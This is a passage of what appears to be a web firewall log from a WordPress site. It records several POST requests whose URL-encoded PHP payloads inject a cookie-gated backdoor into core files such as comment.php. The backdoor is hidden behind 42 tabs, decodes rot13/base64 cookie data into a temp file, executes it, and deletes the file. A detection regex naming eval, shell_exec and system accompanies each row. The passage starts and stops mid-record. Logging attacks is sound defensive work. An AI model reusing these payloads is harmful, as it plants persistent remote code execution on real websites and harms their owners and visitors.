get_temp_dir%2528%2529%2529%252C%2520%25273cd9a7a7%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524res%2529%2529%2520%257B%2520%2524res%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522publish_content%2522%253B%2520%257D%2520%2524mrk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524symbol%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524res%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524res%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524mrk%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524res%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524res%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522service_registry%2522%2529%253B%2520%2524flg%2520%253D%2520%2522fd5b9028f13f5f61b5d10e71bcf5be75%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524symbol%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522initialized_module_controller%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4304\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIJbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nUj=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-99%252B99%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B47%252B-46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B45%252B-42%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B67%252B-63%255D%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520function%2520service_registry%2528%2524ent%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520%2524res%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273cd9a7a7%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524res%2529%2529%2520%257B%2520%2524res%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522publish_content%2522%253B%2520%257D%2520%2524mrk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524symbol%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524res%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524res%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524mrk%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524res%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524res%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522service_registry%2522%2529%253B%2520%2524flg%2520%253D%2520%2522fd5b9028f13f5f61b5d10e71bcf5be75%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524symbol%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522initialized_module_controller%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:54:23","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-99%252B99%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B47%252B-46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B45%252B-42%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B67%252B-63%255D%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520function%2520service_registry%2528%2524ent%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520%2524res%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273cd9a7a7%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524res%2529%2529%2520%257B%2520%2524res%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522publish_content%2522%253B%2520%257D%2520%2524mrk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524symbol%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524res%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524res%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524mrk%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524res%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524res%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522service_registry%2522%2529%253B%2520%2524flg%2520%253D%2520%2522fd5b9028f13f5f61b5d10e71bcf5be75%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524symbol%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522initialized_module_controller%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:4327\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\naccept-encoding:gzip,deflate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-99%252B99%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B47%252B-46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B45%252B-42%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B67%252B-63%255D%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520function%2520service_registry%2528%2524ent%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520%2524res%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273cd9a7a7%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524res%2529%2529%2520%257B%2520%2524res%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522publish_content%2522%253B%2520%257D%2520%2524mrk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524symbol%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524res%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524res%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524mrk%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524res%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524res%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522service_registry%2522%2529%253B%2520%2524flg%2520%253D%2520%2522fd5b9028f13f5f61b5d10e71bcf5be75%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524symbol%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522initialized_module_controller%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:54:25","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Mn:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-99%252B99%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B47%252B-46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B45%252B-42%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B67%252B-63%255D%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520function%2520service_registry%2528%2524ent%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520%2524res%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273cd9a7a7%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524res%2529%2529%2520%257B%2520%2524res%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522publish_content%2522%253B%2520%257D%2520%2524mrk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524symbol%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524res%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524res%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524mrk%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524res%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524res%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522service_registry%2522%2529%253B%2520%2524flg%2520%253D%2520%2522fd5b9028f13f5f61b5d10e71bcf5be75%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524symbol%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522initialized_module_controller%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\ncontent-length:4304\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGJ4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\n\nMn=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-99%252B99%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B47%252B-46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B45%252B-42%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B67%252B-63%255D%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520function%2520service_registry%2528%2524ent%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520%2524res%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273cd9a7a7%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524res%2529%2529%2520%257B%2520%2524res%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522publish_content%2522%253B%2520%257D%2520%2524mrk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524symbol%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524res%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524res%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524mrk%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524res%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524res%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522service_registry%2522%2529%253B%2520%2524flg%2520%253D%2520%2522fd5b9028f13f5f61b5d10e71bcf5be75%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524symbol%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522initialized_module_controller%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:54:28","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> SS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status306.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B67%252B-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-91%252B92%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B15-12%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B42%252B-38%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520function%2520restore_state%2528%2524hld%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b8b138cb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522api_gateway%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flag%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524rec%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524rec%252C%2520%2524sym%2529%253B%2520fclose%2528%2524rec%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522restore_state%2522%2529%253B%2520%2524reference%2520%253D%2520%2522b6f8d80ddd0f7a40cff8924855e23bfb%2522%253B%2520if%2520%2528%2521strncmp%2528%2524reference%252C%2520%2524flag%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522token_parser_engine_reverse_searcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%2